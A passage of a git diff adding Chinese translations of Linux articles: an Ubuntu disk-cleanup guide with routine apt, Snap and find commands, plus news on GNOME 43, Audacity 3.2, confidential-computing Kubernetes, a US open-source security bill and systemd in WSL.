via: "https://www.debugpoint.com/4-simple-steps-clean-ubuntu-system-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15089-1.html" + +清理 Ubuntu 系统的 4 个简单步骤 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/30/123825r2vri1kv0rc2f7xh.jpg) + +> 现在,试试看这 4 个简单的步骤,来清理你的 Ubuntu 系统吧。 + +这份精简指南将告诉你如何清理 Ubuntu 系统以及如何释放一些磁盘空间。 + +如果你的 Ubuntu 系统已经运行了至少一年,尽管系统是最新的,你仍然可能会觉得你的 Ubuntu 系统运行缓慢且滞后。 + +在过去,因为你想试验某一应用程序,或是在看到了它的好评推荐之后,而安装了许多应用程序,但你并没有删除它们。下面这些方法可以帮助你找出一些可以释放的隐藏磁盘空间。 + +### 清理 Ubuntu 系统的步骤 + +#### 1、清理 Apt 缓存 + +Apt 缓存是 Ubuntu 系统保存你下载过的所有文件的地方,以供你之后可以查看它。大多数用户不会去清理 Apt 缓存,而它却可能会占用数百兆字节。 + +打开终端,并运行以下命令,可以得到你的 Apt 缓存有多少: + +``` +du -sh /var/cache/apt/archives +``` + +![][1] + +如果你的 Ubuntu 系统已经安装了很久的话,你将看到这个数字非常大。运行以下命令来清理 Apt 缓存。 + +``` +sudo apt-get clean +``` + +#### 2、删除无用的内核 + +如果你已经运行 Ubuntu 系统超过了一年,那么你很可能安装多个内核。如果你的硬件是最新的,并且与 Linux 兼容而没有太多配置,你可以删除旧的内核,保留最新的内核。 + +在终端运行以下命令来删除旧的内核: + +``` +sudo apt-get autoremove --purge +``` + +![Autoremove Purge][2] + +#### 3、删除旧的应用程序和软件包 + +如果你是一个喜欢尝试 Linux 应用程序的人,那么你的系统中肯定有一些不再需要的没用的应用程序。 + +现在,你可能已经忘记了你安装过的应用程序名称。不过你可以在终端运行以下命令来查看你最近安装的内容: + +你会得到通过 `apt` 命令安装的应用程序和软件包的列表: + +``` +history | grep "apt-get install" +``` + +![List of apt installed app – History][3] + +你将得到最近安装的应用程序列表: + +``` +grep " install " /var/log/dpkg.log.1 +``` + +``` +zgrep " install " /var/log/dpkg.log.2.gz +``` + +你可以运行以下命令来删除应用程序和软件包: + +``` +sudo apt remove app1 package1 +``` + +#### 4、使用系统清理应用 + +有大量免费和原生的系统 [清理应用][4] 可以使用。但是,我认为 [BleachBit][5] 是清理系统最好的一个应用,因为它经久不衰。 + +使用以下命令安装 BleachBit 或通过应用商店安装。 + +``` +sudo apt install bleachbit +``` + +安装后,打开 BleachBit,并运行扫描。它会向你显示浏览器占用的所有缓存文件、临时文件、垃圾等,你只需单击一个按钮即可清理它。 + +![][6] + +### 附送技巧 + +#### 清理 Flatpak 软件包 + +Flatpak 应用程序和运行时runtime会占用大量磁盘空间。因为在设计上,Flatpak 的可执行文件结合了运行时。尽管运行时可以在相关应用程序之间共享,但许多未使用的剩余运行时可能会占用你的磁盘空间。 + +删除一些未使用的 Flatpak 包最直接的方法是下面的命令。在终端运行这一命令。 + +``` +flatpak uninstall --unused +``` + +可以参考 [这篇文章][7] 了解有关 Flatpak 包的更多信息。 + +#### 清理未使用的 Snap 项目 + +如果你使用 Ubuntu 系统,那么你很有可能使用的是 Snap 软件包。随着时间的推移,Snap 会积累不相关的运行时和文件。你可以使用以下脚本来清理一些没用的 snap 运行时。 + +将下面的脚本复制到一个新文件中,并将其命名为 `clean_snap.sh`: + +然后使用 `chmod +x clean_snap.sh` 命令来赋予它可执行权限,并通过 `./clean_snap.sh` 运行 + +``` +#!/bin/bash +#Removes old revisions of snaps +#CLOSE ALL SNAPS BEFORE RUNNING THIS +set -eu +LANG=en_US.UTF-8 +snap list --all | awk '/disabled/{print $1, $3}' | + while read snapname revision; do + snap remove "$snapname" --revision="$revision" + done +``` + +可以参考 [这篇文章][8] 了解有关清理 Snap 包的更多信息。 + +#### 更多技巧 + +你还可以使用以下命令来手动搜索大文件。 + +``` +find /home -type f -exec du -h {} + | sort -hr | head -20 +``` + +例如,运行以下命令,你会得到根目录 `/` 中的前 20 个大文件。现在你可以查看大文件,并使用文件管理器手动删除它们。请注意删除文件时要非常小心。尽量不要涉及 `/home` 目录以外的任何内容。 + +![Find Large files in Linux][9] + +### 总结 + +这样就完成了。如果你按照上述步骤操作,你一定能够释放 Ubuntu 系统中的一些空间,现在你的系统有剩余空间了。你可以按照这些措施来清理 Ubuntu 系统。不要忘记使用最新的软件包,使你的系统保持到最新。 + +🗨️ 如果你认为使用上述的技巧可以释放一些磁盘空间,并使得你的 Ubuntu 更快了,请在下方评论区留言。你通常又是使用什么命令来清理你的 Ubuntu 系统? + +快留言告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/4-simple-steps-clean-ubuntu-system-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2018/07/apt-cache.png +[2]: https://www.debugpoint.com/wp-content/uploads/2018/07/Autoremove-Purge-1024x218.png +[3]: https://www.debugpoint.com/wp-content/uploads/2018/07/List-of-apt-installed-app-History.png +[4]: https://www.debugpoint.com/2017/02/stacer-is-a-system-monitoring-and-clean-up-utility-for-ubuntu/ +[5]: https://www.bleachbit.org +[6]: https://www.debugpoint.com/wp-content/uploads/2018/07/BleachBit-Clean-your-system.png +[7]: https://www.debugpoint.com/clean-up-flatpak/ +[8]: https://www.debugpoint.com/clean-up-snap/ +[9]: https://www.debugpoint.com/wp-content/uploads/2018/07/Find-Large-files-in-Linux-1024x612.png +[10]: https://www.debugpoint.com/gnome-43/ diff --git a/published/202209/20220922 GNOME 43- Top New Features and Release Wiki.md b/published/202209/20220922 GNOME 43- Top New Features and Release Wiki.md new file mode 100644 index 0000000000..12e370b131 --- /dev/null +++ b/published/202209/20220922 GNOME 43- Top New Features and Release Wiki.md @@ -0,0 +1,213 @@ +[#]: subject: "GNOME 43: Top New Features and Release Wiki" +[#]: via: "https://www.debugpoint.com/gnome-43/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15071-1.html" + +GNOME 43 发布,标志性的版本 +====== + +> 对 GNOME 43 桌面环境的各种功能的介绍,以及它给你的日常需求和工作流程带来的变化和影响。 + +![通过 GNOME OS 运行的 GNOME 43][1] + +这篇文章总结了所有关于 GNOME 43 的必要信息,包括功能、发布时间表等等。GNOME 43 版本可能是自 GNOME 40 以来在功能和对你的工作流程影响最大的一个版本。 + +主要的变化包括更新的 Shell 和更快的性能,内含了 GTK4 和 libadwaita 的转换,翻新的文件应用和 Web 应用的奇妙变化。 + +所有这些必要的变化都是早该进行的,并将改变你在 GNOME 桌面上的传统工作流程,使你的工作效率更高。 + +### 时间表 + +GNOME 43 于 2022 年 9 月 21 日 [正式发布][2]。 + +* GNOME 43 测试版:2022 年 8 月 31 日 +* GNOME 43 候选版:2022 年 9 月 4 日 +* GNOME 43 最终版:2022 年 9 月 21 日 + +### GNOME 43 的功能 + +#### 1、核心 Shell 的变化 + +* 终于,得益于 Wayland 最近的工作,GNOME 有了对高分辨率的滚轮支持。所以,如果你有一个高分辨率的显示器,用一个高级的鼠标(比如罗技 MX Master 3)来滚动应该成为了一种享受。 +* 除了上述情况,GNOME 43 中的直接扫描输出direct scanout 支持将有助于多显示器环境。 +* 服务器端的窗口装饰得到了基本的颜色支持。 +* Shell 还实现了一个功能,当焦点改变时,通知会消失,并不等待超时。 +* 和每个版本一样,你在整个桌面上会体验到更好的动画性能,改进了网格和概览导航以及关键的更新,这给你带来了顺滑的体验。 + +这些就是核心变化的关键总结。现在,让我们来谈谈快速设置。 + +#### 2、新的快速设置菜单 + +系统托盘中的快速设置完全改变了。快速设置项目和菜单现在采用药丸状的切换按钮,用鲜艳的颜色来显示系统中正在发生的事情。该菜单也是动态的,并支持层叠的菜单项目。此外,你可以在快速设置中选择音频设备。 + +这里有一个快速演示,更多的屏幕截图和文章,请阅读:[GNOME 43 快速设置][3]。 + +![GNOME 43 的快速设置演示][4] + +#### 3. 文件应用 + +GNOME 文件应用Files在 GNOME 43 版本中增加了很多功能。这个应用程序的改进清单非常巨大。文件管理器是任何桌面环境中使用最多的应用程序。因此,文件应用中的变化对整个用户群的影响最大。 + +这是 GTK4 版的文件应用第一次亮相(它在 GNOME 42 发布时还没有准备好),它将会彻底改变你的工作流程。 + +我将尝试用一个简短的列表来解释其中的大部分内容。否则,这将是一篇冗长的文章。我将单独推送另一篇关于文件应用的功能的文章。 + +##### 自适应侧边栏 + +可以让你访问导航、收藏夹、网络驱动器等的文件应用侧边栏是响应式的。当文件应用窗口的大小达到一定程度时,它会 [自动隐藏][5] 自己。如果你工作时有很多打开的窗口,而且显示器较小,那么这是一个熟悉而方便的功能。 + +另一个令人兴奋的功能是,当侧边栏完全隐藏时,在左上方会出现一个图标,点击可使其可见。 + +![自动隐藏侧边栏的文件应用 43][6] + +##### 徽章 + +很久以前,GNOME 中就有了徽章,后来它们消失了。因此,徽章在 GNOME 43 中以文件和目录旁边的小图标的形象卷土重来。这些图标代表着类型,如符号链接、只读等。此外,这些图标会根据你的主题改变它们的颜色,而且一个文件也可以有多个图标。 + +![GNOME 43 中的徽章][7] + +##### 橡皮筋选择 + +接下来是期待已久的橡皮筋选择功能,它 [终于到来了][8]。现在你可以通过拖动选择机制来选择文件和文件夹。这是用户要求最多的功能之一。 + +![橡皮筋选择功能][9] + +##### GtkColumnView 代替了 GtkTreeView + +当你把鼠标放在列视图中的项目上时,你会看到一个焦点行,这是 GNOME 43 文件应用的另一个关键功能。但是它在 [树形视图不能显示][10],可能计划在下一次迭代中实现。 + +![GtkColumnView 启用了焦点行][11] + +##### 重新设计的属性窗口,具有交互式的权限和可执行文件检测功能 + +通过采用 GTK4,属性窗口 [完全改变了][12]。该窗口现在更加简洁,设计合理,只在需要的时候显示必要的项目。 + +此外,属性对话框可以确定文件类型并提供合适的选项。例如,如果你查看一个 Shell 脚本或文本文件的属性,你会得到一个选项,使其可执行。相反,图像文件的属性不会给你一个可执行的选项。 + +![智能属性窗口][13] + +##### 标签式视图的改进 + +文件的标签式视图得到了一些 [额外的更新][14]。最值得注意的是,当拖动文件到标签时,可以适当地聚焦,在当前聚焦的标签之后创建标签,等等。 + +##### 重新设计的右键菜单 + +对文件或文件夹的主要右键菜单进行了分组。首先,打开选项被归入一个子菜单中。其次,复制/粘贴/剪切选项被合并到一个组中。最后,垃圾箱、重命名和压缩选项被归为一组。 + +此外,“在终端打开Open in terminal”的选项对所有文件和文件夹都可用。然而,仍然缺失一个“创建新文件”的选项(这是我在这个版本中所期望的)。(LCTT 译者:预计 GNOME 44 文件应用将出现此功能) + +![各种上下文菜单][15] + +##### 其他变化 + +文件应用中其他醒目的变化是垃圾箱图标,以及其他位置(网络驱动器、磁盘)在右键菜单中有了属性菜单。 + +最后,文件应用的偏好窗口被重新设计,以显示更多的基本项目。重新设计后,普通用户可以很容易地找到适当的文件设置。 + +#### 4、Web 应用 + +让我们抽出一些时间来谈谈我们心爱的 Epiphany,又称 GNOME Web,是 GNOME 桌面上基于 WebKit 的原生网页浏览器。 + +这些更新早就应该开始了,并且终于从这个版本开始出现了。 + +首先,GNOME Web 现在支持 WebExtension API。它可以让你在网络中下载和安装火狐和谷歌浏览器的扩展。以下是做法: + +* 从 Firefox 附加组件或谷歌 Chrome 扩展页面下载任何扩展文件(xpi 或 crx 文件)。 +* 点击汉堡菜单,选择扩展程序Extensions。 +* 最后,点击添加Add来安装它们。 + +WebExtension 的支持是使 Web 应用尽快可用的关键步骤。 + +其次,可以使用火狐浏览器同步选项,让你通过火狐浏览器账户登录 Web 应用,同步书签和其他浏览器项目。 + +![使用火狐账户登录 Web 应用][16] + +Web 应用中其他值得注意的变化包括对 “查看源代码” 的支持、GTK4 的移植工作和一个更新的 PDF 库(PDF.js 2.13.216)。 + +Web 应用中仍然缺少的一个关键组件是 [通过 GStreamer 支持WebRTC][17]。一旦这个功能出现,它将是一个适合日常使用的浏览器。 + +希望有一天,我们都有一个体面的非火狐、非 Chromium 的替代浏览器。 + +#### 5、设置应用 + +在 设置应用Settings 的窗口中,大部分改进和视觉微调在这个版本中出现。重要的变化包括警报中的 “狗叫声” 在经过长时间的 [有趣的对话][18] 后现在已经消失。 + +此外,引入了一个新的设备安全面板,日期和时间面板中的时区地图也修改了。 + +设置窗口的侧边栏也是响应式的,并为你提供自动隐藏功能,如上图所示的文件应用一样。 + +#### 6、软件应用 + +GNOME 软件应用Software 有两个关键的变化。这些变化使你可以在一个页面上查看应用程序的更多信息。 + +首先,一个新“该作者的其他应用程序”部分,为你提供了一个由当前应用程序的作者编写的应用程序列表。这有助于发现并告诉你应用作者有多受欢迎。 + +其次,GNOME 43 软件应用现在在一个单独的窗口中为你提供了 Flatpak 应用程序所需的详细权限列表。因此,你可以在安装它们之前确认该应用程序所需权限。 + +另一个关键的视觉变化是在应用程序概览主页面上新增了 “适用于 Fedora/任何发行版”部分,这需要配置。 + +![软件应用中的开发者的其他应用程序部分][19] + +#### 7、气候变化墙纸 + +我不确定这个功能是否有了。因为我找不到它,但我听说过它。所以,我想我应该在这里提到它。 + +这个功能是,GNOME 43 带来了一张背景墙纸,显示了全球温度在几十年间是如何从 [海洋条纹][20] 上升的。该墙纸包含了垂直的彩色编码条,表示低和高的温度。我认为这是一个很好的提示,也是提高人们认识的努力。这是它在 GitLab 中的 [提交][21]。 + +此外,还有几张新的 [白天和黑夜][22] 的新鲜壁纸。 + +这就是我可以找到并总结的所有基本变化。除了这些,GNOME 43 还有大量的错误修复、性能改进和代码清理。 + +Fedora 37 将在发布时采用 GNOME 43,它的某些部分应该在 10 月发布的 Ubuntu 22.10 中出现。 + +### 总结 + +GNOME 43 是一个标志性的版本,因为它改变了几个基本的设计,影响了数百万用户的工作流程。快速设置的转变是非常棒的,而且早该如此了。此外,文件应用、Web 应用和设置应用的必要改变将提高你的工作效率。 + +此外,新功能的到来,同时保持了设计准则和美学的理念。一个好的用户界面需要一个深思熟虑的过程,而开发者在这个版本中做了完美的工作。 + +所以,差不多就是这样了。这就是 GNOME 43 的内容。如果你打算得到这个更新并想从 KDE 跳到 GNOME,请告诉我! + +🗨️请在下面的评论区让我知道你最喜欢的功能。 + +举杯~ + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-43/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/GNOME-43-Running-via-GNOME-OS.jpg +[2]: https://debugpointnews.com/gnome-43-release/ +[3]: https://www.debugpoint.com/gnome-43-quick-settings/ +[4]: https://www.debugpoint.com/?attachment_id=10682 +[5]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/877 +[6]: https://www.debugpoint.com/?attachment_id=10684 +[7]: https://www.debugpoint.com/?attachment_id=10685 +[8]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/817 +[9]: https://www.debugpoint.com/wp-content/uploads/2022/08/Rubberband-Selection-Feature.gif +[10]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/817 +[11]: https://www.debugpoint.com/wp-content/uploads/2022/08/GtkColumnView-enables-row-focus.gif +[12]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/745 +[13]: https://www.debugpoint.com/wp-content/uploads/2022/08/Intelligent-properties-window.jpg +[14]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/595 +[15]: https://www.debugpoint.com/?attachment_id=10689 +[16]: https://www.debugpoint.com/wp-content/uploads/2022/08/Login-to-Web-using-Firefox-account.jpg +[17]: https://twitter.com/_philn_/status/1490391956970684422 +[18]: https://discourse.gnome.org/t/dog-barking-error-message-sound/9529/2 +[19]: https://www.debugpoint.com/wp-content/uploads/2022/08/Other-APPS-by-developer-section-in-Software.jpg +[20]: https://showyourstripes.info/s/globe/ +[21]: https://gitlab.gnome.org/GNOME/gnome-backgrounds/-/commit/a142d5c88702112fae3b64a6d90d10488150d8c1 +[22]: https://www.debugpoint.com/custom-light-dark-wallpaper-gnome/ diff --git a/published/202209/20220923 Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support.md b/published/202209/20220923 Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support.md new file mode 100644 index 0000000000..7bec02bf74 --- /dev/null +++ b/published/202209/20220923 Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support.md @@ -0,0 +1,100 @@ +[#]: subject: "Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support" +[#]: via: "https://news.itsfoss.com/audacity-3-2-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15079-1.html" + +Audacity 3.2 发布,增加了 VST3 插件和 Apple 芯片支持 +====== + +> Audacity 的新更新带来了一些重要功能,例如 VST3 插件支持和新效果按钮。 + +![Audacity 3.2 Released With VST3 Plugins and Apple Silicon Support][1] + +Audacity 3.2 来了,这是这个最流行的自由开源音频编辑和录制工具之一的小版本更新。 + +[此版本是在之前的主要版本 Audacity 3.0][2] 发布一年多之后发布的。 + +[即使在去年引起争议][3] 之后,它仍然是目前最好的 Linux 音频编辑器之一。 + +此版本有许多新增功能,例如对**VST3 插件的支持、对 Apple 芯片、FFMPEG 5.0 的支持**等等。 + +让我们快速了解一下 Audacity 的新功能。 + +### Audacity 3.2:有什么新功能? + +这是一个小版本更新,带来了重大的变化和补充。 + +一些主要亮点包括: + +- 支持 VST3 插件。 +- Apple 芯片支持。 +- FFMPEG 5.0。 +- VST3、LV2、音频单元和 LADSPA 的实时功能。 +- 用于实时效果的专用按钮。 +- 删除对 Linux 系统的 JACK 要求。 +- 对用户界面的各种调整。 + +### 新的效果按钮 + +![audacity 3.2 effects button][6] + +Audacity 的界面中添加了一个专用的实时效果按钮,使用户可以轻松地即时下载和应用效果。 + +[你可以访问官方维基][7] 了解有关此功能的更多信息。 + +### VST3 插件支持 + +Audacity 3.2 还引入了对 VST3 插件的支持,这使用户能够利用 VST3 的高级音频处理功能,包括高效利用 CPU、更好地处理 MIDI、支持 MIDI I/O 等等。 + +### 将音频上传到云端 + +![audacity 3.2 share audio button][8] + +在 Audacity 中加入的另一个令人兴奋的功能是,可以选择直接从应用程序中分享音频到 Audacity 的新云音频平台 [audio.com][9]。 + +### FFMPEG 5.0 + +Audacity 现在也支持了 FFMPEG 5.0;这确保了用户可以利用最新的开源音频/视频库套件。 + +### 苹果芯片支持 + +此版本还为基于 arm64 架构的 Apple 芯片带来了 macOS 支持。 + +### 下载 Audacity 3.2 + +[你可以通过其官方网站][10]、[GitHub 发布区][11]、[Flathub][12] 或 [Snap][13] 下载最新的 Audacity 版本。 + +> **[Audacity 3.2 下载][10]** + +💬 *你会尝试 Audacity 3.2 吗?我认为对VST3插件的支持应该是一个改变游戏规则的因素,你怎么看?在下面的评论部分分享它!* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/audacity-3-2-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/audacity-3-2-release.jpg +[2]: https://news.itsfoss.com/audacity-3-0-release/ +[3]: https://news.itsfoss.com/audacity-fiasco-fork/ +[4]: https://itsfoss.com/best-audio-editors-linux/ +[6]: https://news.itsfoss.com/content/images/2022/09/Audacity_3.2_effects_button.gif +[7]: https://support.audacityteam.org/audio-editing/using-realtime-effects +[8]: https://news.itsfoss.com/content/images/2022/09/Audacity_3.2_share_audio_button.png +[9]: https://audio.com/ +[10]: https://www.audacityteam.org/download/ +[11]: https://github.com/audacity/audacity/releases +[12]: https://flathub.org/apps/details/org.audacityteam.Audacity +[13]: https://snapcraft.io/audacity +[14]: https://www.audacityteam.org/download/ diff --git a/published/202209/20220923 Kubernetes To Soon Support Confidential Computing.md b/published/202209/20220923 Kubernetes To Soon Support Confidential Computing.md new file mode 100644 index 0000000000..5eec1a6d51 --- /dev/null +++ b/published/202209/20220923 Kubernetes To Soon Support Confidential Computing.md @@ -0,0 +1,39 @@ +[#]: subject: "Kubernetes To Soon Support Confidential Computing" +[#]: via: "https://www.opensourceforu.com/2022/09/kubernetes-to-soon-support-confidential-computing/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15083-1.html" + +Kubernetes 即将支持机密计算 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/kubernets-on-prem-diy-considerations-1.png) + +> Constellation 是第一个始终加密的 kubernetes(K8S)。在这个 K8S 中,你的所有工作负载和控制平面都被完全屏蔽起来,你可以使用加密证书远程确认这一点。 + +Constellation Kubernetes 引擎使用 秘密计算secret computing机密虚拟机confidential VM,将 Kubernetes 集群与云架构的其余部分隔离开来。因此,无论是在静态还是在内存中,数据总是被加密的,并创建了一个 机密上下文confidential context。根据创建 Constellation 的公司 Edgeless Systems 的说法,由于它为在公共云上运行的数据和工作流增加了安全性和保密性,因此机密计算是云计算的未来。 + +Kubernetes 节点在使用 Constellation 的私有虚拟机中运行。根据 Edgeless Systems 的说法,机密虚拟机是安全飞地的演变,它将机密计算的三个原则——运行时加密、隔离和远程证明——扩展到整个虚拟系统。机密虚拟机(TDX)使用底层硬件对私有计算的特殊支持,例如 AMD 安全加密虚拟化(AEM)、SEV-安全嵌套分页(SEV-SNP)和英特尔信任域扩展。此外,ARM 去年还发布了名为 Realms 的新 V9 架构。此设计包括私有 VM 功能。 + +Constellation 尝试在集群级别提供证明或通过加密证书进行验证,以及“始终在线”加密。 Constellation 中的机密 VMS 使用了 Fedora CoreOS,它构建在一个不可变的文件系统之上,是面向容器而设计的。Constellation 还利用 Sigstore 来保护 DevOps 信任链。 + +使用秘密计算时,性能可能会令人担忧。是的,加密会影响性能,但 AMD 和微软的联合基准测试发现,这只会导致 2% 到 8% 之间的微小性能损失。Edgeless Systems 声称 Constellation 将在繁重的工作负载下表现类似。 + +鉴于 Constellation 已通过 CNCF 认证,并且可与包括 GCP 和 Azure 在内的所有主要云服务互操作,这应保证其与其他 Kubernetes 工作负载和工具的互操作性。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/kubernetes-to-soon-support-confidential-computing/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220923 Lawmakers Proposes A New Bill To Protect Open Source Software.md b/published/202209/20220923 Lawmakers Proposes A New Bill To Protect Open Source Software.md new file mode 100644 index 0000000000..ce90653901 --- /dev/null +++ b/published/202209/20220923 Lawmakers Proposes A New Bill To Protect Open Source Software.md @@ -0,0 +1,39 @@ +[#]: subject: "Lawmakers Proposes A New Bill To Protect Open Source Software" +[#]: via: "https://www.opensourceforu.com/2022/09/lawmakers-proposes-a-new-bill-to-protect-open-source-software/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15072-1.html" + +美国立法者提出一项保护开源软件的新法案 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/law-4-1536x1025.jpeg) + +> 美国的《保护开源软件法案》将责成管理和预算办公室提供有关如何安全使用开源软件的说明。 + +美国立法者周四提出了一项要求,美国网络安全和基础设施安全局(CISA)需创建风险框架以提高开源软件安全性的措施。为了降低依赖开源代码的系统风险,各机构将利用该框架,CISA 将决定关键基础设施所有者和运营商是否也可以自愿使用它。 + +大多数系统依赖于免费提供的并由社区维护的开源软件来构建网站和应用程序;最大的用户之一是美国联邦政府。该立法由美国国土安全委员会主席兼高级成员、俄亥俄州共和党参议员 Sens. Rob Portman、R-Ohio 和 Gary Peters D-Mich 在一次听证会后提出,以回应在开源代码中发现的影响美国联邦系统和全球数百万其他系统的严重、广泛的 Log4j 漏洞。 + +“这一事件对联邦系统和关键基础设施公司——包括银行、医院和公用事业公司——构成了严重威胁,美国人每天都依赖这些公司提供基本服务,”彼得斯在公告中说。“这项明智的两党立法将有助于保护开源软件,并进一步加强我们的网络安全防御,防止网络犯罪分子和外国对手对全国网络发起的不断的攻击。” + +这项《保护开源软件法》还要求美国管理和预算办公室为各机构发布关于保护开源软件的指南,在 CISA 网络安全咨询委员会中设立一个软件安全小组委员会,并要求 CISA 聘请开源软件专家协助处理网络事件。 + +在此之前,Peters 和 Portman 的提议已获得美国参议院一致通过并签署成为法律,以加强州和地方政府的网络防御,并迫使关键基础设施的所有者和运营商向 CISA 报告重大网络攻击和勒索软件付款。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/lawmakers-proposes-a-new-bill-to-protect-open-source-software/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220923 Systemd is Now Available in WSL.md b/published/202209/20220923 Systemd is Now Available in WSL.md new file mode 100644 index 0000000000..c24b1ece9a --- /dev/null +++ b/published/202209/20220923 Systemd is Now Available in WSL.md @@ -0,0 +1,114 @@ +[#]: subject: "systemd is Now Available in WSL" +[#]: via: "https://news.itsfoss.com/systemd-wsl/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "vvvbbbcz" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15068-1.html" + +systemd 已可用于 WSL +====== + +> 微软的 WSL 现已支持 systemd,为用户提供了更好的体验。你可阅读此文了解更多。 + +![systemd 已可用于 WSL][1] + +WSL(Windows 的 Linux 子系统Windows Subsystem for Linux)终于拥有了对 systemd 的支持,这是在 systemd 的创建者加入微软的几个月后实现的。 + +> **[更多 Linux 开发者们加入微软,systemd 的创建者也加入这一行列][2]** + +而这已通过微软和 Cannonical 的合作成为可能。 + +> **如果你好奇 systemd 是什么**: +> +> systemd 是一套 Linux 系统的基本组成模块。它提供了一个系统和服务管理器,作为 PID 1 运行,并启动系统的其他部分。 +> +> 来自:systemd.io + +它作为一个初始化系统,启动并维持用户空间其他服务的正常运行。 + +让我们看看它是如何被引入 WSL 的。 + +### systemd 增强 WSL 的体验 + +![WSL: 与 Cannonical 合作以支持 systemd][4] + +在 WSL 中引入 systemd,主要是为改善 Windows 机器上的 Linux 工作流程。 + +像 Debian、Ubuntu、Fedora 等,都是默认运行 systemd 的。因此,这项整合将使这些发行版的用户更方便地在 WSL 上做更多工作。 + +很多关键的 Linux 程序也是靠 systemd 实现的。例如 snap、microk8s 和 LXD 都依赖它。 + +即使我们有 [不含 systemd 的发行版][5] 可用,它们也并不适合所有人。因此,在 WSL 上添加对 systemd 的支持是很有意义的。 + +systemd 的存在也使得在 Windows 中使用更多工具来测试和运行成为可能,从而带来更好的 WSL 体验。 + +### 它是如何实现的 + +WSL 背后的团队必须修改其架构,它们让 WSL 的初始化进程在 Linux 发行版中以 systemd 的一个子进程启动。 + +正如其 [官方公告][7] 所述,这样做使得 WSL 初始化程序能够为 Windows 和 Linux 子系统之间的通讯提供必要的基础。 + +它们还做了额外的修改,通过防止 systemd 保持 WSL 实例的活动以确保系统的干净关机。 + +你亦可访问他们的 [官方文档][8] 以了解更多。 + +### 在 WSL 上使用 systemd + +> 现有的 WSL 用户必须在他们的系统上手动启用 systemd,以防止由于 systemd 的引入而导致的启动问题。 + +首先,你必须确保你的系统运行的是 **0.67.6** 或更高版本的 WSL。 + +你可以通过以下命令检查你的 WSL 版本。 + +``` +wsl --version +``` + +如果你正在运行旧版本,你可以通过 微软应用商店Microsoft Store 或者以下命令更新它。 + +``` +wsl --update +``` + +此外,如果你不是 Windows 预览体验成员Windows Insider,你可以到 [WSL 发行页面][9] 下载它来体验。 + +为了让 systemd 在你的系统上运行,你需要修改 [wsl.conf][10] 这个文件以确保 systemd 在启动时运行。 + +在 `wsl.conf` 添加以下几行以使 WSL 在启动时运行 systemd + +``` 